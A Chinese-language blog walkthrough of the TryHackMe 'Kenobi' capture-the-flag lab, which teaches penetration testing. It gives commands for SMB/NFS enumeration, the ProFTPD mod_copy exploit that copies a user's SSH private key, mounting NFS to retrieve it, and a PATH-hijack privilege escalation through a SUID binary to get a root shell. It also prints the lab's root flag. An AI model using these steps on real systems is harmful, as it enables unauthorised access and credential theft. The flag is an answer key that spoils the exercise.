首页 > 其他分享 >【THM】Kenobi-练习

【THM】Kenobi-练习

时间:2022-10-13 16:00:11浏览次数:79  
标签:bin 文件 54.34 Kenobi 练习 THM usr curl

观前提示

代码段或者文字段存在过长部分,请使用鼠标左键选中要查看的一行内容,按住鼠标左键并平行向右拖动观看。
或者向右拖动代码段、文字段下方的滚动条,查看过长部分的内容。
因为光线等问题无法看清屏幕中内容的,也可按住鼠标左键不放并向右拖动查看。

端口扫描

使用nmap扫描目标机:

nmap -sC -sV -A -T4 10.10.54.34

image

答题卡
image

枚举Samba共享

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。

在此之前我们已经了解了NFS,NFS与Samba一样,也是在网络中实现文件共享的一种实现,但不幸的是,NFS不支持windows平台,而本文要提到的Samba是能够在任何支持SMB协议的主机之间共享文件的一种实现,当然也包括windows主机。

SMB(Server Messages Block-服务器信息块)协议是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是C/S型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。

SMB协议有两个端口:139和445。

image

Samba监听端口有:TCP和UDP------tcp端口相对应的服务是smbd服务,其作用是提供对服务器中文件、打印资源的共享访问;udp端口相对应的服务是nmbd服务,其作用是提供基于NetBIOS主机名称的解析。

nmap有一个用于枚举SMB共享的脚本,使用 nmap,我们可以枚举一台机器的SMB 共享。

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.54.34
#也可以使用以下命令:smbclient -L \\\\10.10.54.34\\

image

使用smbclient命令,匿名连接目标机的SMB共享,查看共享系统上存在什么文件

smbclient //10.10.54.34/anonymous   #此ip为目标机的ip 不需要输入密码 按回车键即可

image

你可以使用smbget命令,通过匿名用户 递归地下载整个SMB 共享,共享系统中的文件将会被下载到本地

smbget -R smb://10.10.54.34/anonymous   #此ip为目标机的ip 不需要输入密码 按回车键即可

image

image

image

查看来自共享系统的log.txt文件内容,我们可以获取两个信息:

  • 为Kenobi 用户生成 SSH 密钥时的信息--Kenobi用户的ssh密钥------保存在/home/kenobi/.ssh路径下
  • 有关 ProFTPD 服务器的信息( 运行FTP服务的用户是 Kenobi)

之前的端口扫描显示了 端口111正在运行rpcbind服务,rpcbind是一个将远程程序调用(RPC-- remote procedure call)的程序号转换为通用地址的服务器。当一个RPC 服务启动时,它会告诉 rpcbind 它正在监听的地址以及它准备启用的服务所对应的RPC程序编号。

查看本例中端口111的nmap扫描信息,可以发现nfs(network file system)服务被远程启用,接下来尝试枚举nfs信息:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.54.34  #此ip为目标机ip

image

答题卡

image

通过ProFtpd 获得初始访问权限

ProFtpd 是一个免费的开源 FTP 服务器,兼容 Unix 和 Windows 系统,这个软件的旧版本中存在漏洞。

由第一节的端口扫描结果可知,目标机上的ProFtpd 的版本是1.3.5,在攻击机上使用netcat连接目标机的ftp服务器也可以获取到ProFtpd的版本信息:

nc 10.10.54.34 21   #此处ip为目标机ip  目标机的ftp服务运行在21端口上

image

我们可以使用 searchsploit 查找特定软件版本的漏洞,searchsploit 是一个基于exple-db.com 的命令行搜索工具。

searchsploit proftpd 1.3.5

image

我们可以看到,该版本ProFtpd的mod_copy模块中存在漏洞。
(mod_copy模块功能-参考链接:http://www.proftpd.org/docs/contrib/mod_copy.html

mod_copy模块实现了SITE CPFR 和 SITE CPTO 命令(类似于 RNFR 和 RNTO) ,这些命令可以用来将文件/目录从服务器上的一个地方复制到另一个地方,而无需将数据传输到客户端并等待返回(无身份验证),该模块包含在 ProFTPD 1.3.x 的 mod_copy.c 文件中,默认情况下不进行编译。

也就是说:任何未经身份验证的客户机都可以利用SITE CPFR 和 SITE CPTO 命令,将文件从FTP服务器的文件系统的任何位置复制到选定的位置。

由之前的信息我们知道:Kenobi是运行FTP服务的用户、Kenobi用户的ssh密钥保存路径。

现在我们将使用 SITE CPFR 和 SITE CPTO 命令复制Kenobi的ssh私钥,我们将私钥复制到NFS所挂载的目录下,后继我们就能获取到这个私钥文件:

#连接目标机的FTP服务器,FTP运行在21端口
nc 10.10.54.34 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa  #将密钥复制到NFS所挂载的/var目录下

image

然后让我们将目标机的/var/tmp 目录挂载到我们的攻击机上:

mkdir /mnt/kenobiNFS
mount 10.10.54.34:/var /mnt/kenobiNFS   #此处的ip是目标机ip。完成挂载后:目标机的/var目录下的所有文件,都将在攻击机的/mnt/kenobiNFS目录下
ls -la /mnt/kenobiNFS

image

复制Kenobi的ssh私钥到攻击机当前目录,然后使用ssh登录到 Kenobi 的帐户,查看标志性文件:

cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa [email protected] -oHostKeyAlgorithms=+ssh-rsa

image

答题卡
image

通过PATH变量提权

我们先了解SUID、SGID和SBIT(Sticky Bits),这三个概念 我们在提权基础篇有详细讲解:

image

权限                        在文件上                                            在目录上
SUID Bit             用户使用文件所有者的权限执行文件	                              -
SGID Bit             用户在组所有者的权限下执行该文件                          在目录中创建的文件获取相同的组所有者。
Sticky Bit           无意义                                                阻止用户删除其他用户目录下的文件

SUID位是很不安全的,一些二进制文件确实需要提高权限来运行才被赋予SUID位(如/usr/bin/passwd,因为你需要使用它以便在系统上重置个人密码),但是其他具有 SUID 位的自定义文件可能会导致各种各样的问题。

要在目标机系统中搜索SUID/SGID类型的文件,请在目标机上运行以下命令:

find / -perm -u=s -type f 2>/dev/null

image

找出看起来很不寻常的文件/usr/bin/menu ,并尝试执行它:

image

strings 是 Linux 上的一个命令,它能在二进制文件上查找人类可读的字符串,我们使用以下命令来查看/usr/bin/menu运行时的信息(因为执行menu命令时有文字回显,我们才使用strings命令):

strings /usr/bin/menu

image

观察上图可以得知:当我们执行/usr/bin/menu 时,选择选项二其实是在执行一个curl命令,选择选项二其实是在执行uname -r命令。

这表明二进制文件curl和uname,是在没有完整路径的情况下运行的(例如没有使用/usr/bin/curl 或/usr/bin/uname运行文件)。

我们已经知道/usr/bin/menu文件是一个SUID文件,它在执行时会暂时具有root 用户权限,我们可以尝试自定义创建一个curl文件(并写入/bin/bash,意思是打开一个bash shell),然后我们再给自定义的curl文件附加可执行权限(+x),接着将自定义的curl文件所在的路径添加到PATH变量中(这样能够保证我们自定义的curl文件能够被首先找到)。

完成以上操作之后,执行SUID文件/usr/bin/menu,产生的效果是:以root权限打开一个bash shell------获得root shell

cd /tmp
echo /bin/bash > curl
chmod +x curl
export PATH=/tmp:$PATH   #新添加的路径/tmp会在PATH变量的最前面,这样就能用我们伪造的curl文件代替真实的curl文件,保证自定义的curl文件被成功执行
/usr/bin/menu            #在跳出选项时,我们选择选项一,这样就能调用到伪造的curl文件
ls /root/
cat /root/root.txt

image

177b3cd8562289f37382721c28381f02

答题卡

image

标签:bin,文件,54.34,Kenobi,练习,THM,usr,curl
From: https://www.cnblogs.com/Hekeats-L/p/16786284.html

相关文章

  • 算法练习-第十七天【二叉树】
    二叉树110.平衡二叉树参考:代码随想录思路二叉树的深度:从根节点出发到该节点的最长简单路径边的条数。二叉树的高度:从该节点出发到叶子节点的最长简单路径的条数。题......
  • java基础练习
    练习1:判断输入的值是否是偶数,另外,要处理输入错误(目的:熟悉输入、输出,特别是Scanner对象的方法)importjava.util.InputMismatchException;importjava.util.Scanner;pu......
  • 【C++从入门到熟练练习题】000 VS2015新建程序及输出Hello World
    一、前言大学很多计算机相关专业的基础课都会有C++,C++是比较经典的编程语言,编程语言一定不是看出来的,而是敲代码敲出来的。所以会给大家不定期分享一些C++练习题。在下一次......
  • 多表查询-练习
    多表查询-练习--部门表CREATETABLEdept(idINTPRIMARYKEYPRIMARYKEY,--部门iddnameVARCHAR(50),--部门名称locVARCHAR(50)--部门所在地);......
  • 练习题02
    用程序判断2022年7月27日是星期几?使用SimpleDateFormat类,把2018-03-04转换成2018年03月04日创建一个表示从1970年1月1日0时0分1秒的Date类的对象,并获取该对象到1970年1......
  • 练习:集合元素处理(传统方式)与练习:集合元素处理(Stream方式)
    练习:集合元素处理(传统方式)现在有两个ArrayList集合存储队伍当中的多个成员姓名,要求使用传统的for循环(或增强for循环)依次进行以下若干操作步骤1.第一个队伍只要名字为......
  • 算法练习-第十六天【二叉树】
    二叉树的深度与高度二叉树的深度:从根节点到该节点的最长简单路径边的条数或节点数(取决于深度是否从1开始)二叉树的高度:从该节点到叶子节点的最长简单路径边的条数或节点数......
  • 常用的函数式接口_Predicate接口练习_集合信息筛选与常用的函数式接口_Function接口
    练习:集合信息筛选题目:数组当中有多条“姓名+性别”的信息如下,请通过Predicate接口的拼装将符合要求的字符串筛选到集合ArrayList中,需要同时满足两个条件:......
  • 练习题01
    1、编写程序将"jdk"全部变为大写,并输出到屏幕,截取子串"DK"并输出到屏幕2、写一个方法判断一个字符串是否对称3、编写一个程序,将下面的一段文本中的各个单词的字母顺......
  • 课堂练习
    基本元素 <h1>一级标题</h1><p>段落元素</p><!--strong有助于搜索引擎找到重点--><b>粗体</b><strong>粗体</strong><br><!--em强调语......